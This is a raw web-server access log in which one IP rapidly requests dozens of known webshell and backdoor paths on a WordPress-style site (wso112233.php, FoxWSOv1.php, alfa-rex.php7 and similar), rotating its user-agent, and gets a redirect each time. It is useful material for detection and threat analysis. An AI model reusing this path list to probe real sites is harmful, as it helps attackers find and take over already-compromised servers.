[29/Apr/2025:14:49:16 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:16 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:16 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:16 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:17 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:17 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:17 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:49:17 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:17 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:18 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:18 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:18 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:18 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:19 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:19 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:19 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:19 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:20 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:20 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:20 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:20 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:20 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:21 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:21 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:21 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:21 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:21 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:22 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:22 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:22 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:22 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:22 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:23 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:23 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:49:23 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:23 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:23 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:24 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:24 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:24 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:24 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:49:24 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:25 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:25 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:25 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:49:25 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:25 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:26 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:26 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:26 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:26 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:26 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:27 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:27 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:27 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:27 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:49:27 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:27 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:28 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:28 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:28 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:28 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:29 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:29 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:29 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:29 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:29 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:30 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:30 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:30 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:30 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:30 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:30 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:31 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:31 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:31 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:31 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:31 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:32 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:32 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:32 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:32 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:32 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:32 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:33 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:34 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:34 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:34 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:34 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:34 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:34 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:35 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:35 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:35 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:35 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:35 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:35 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:49:36 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:36 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:36 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:36 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:36 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:49:37 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:37 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:37 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:49:37 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:37 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:37 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:38 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 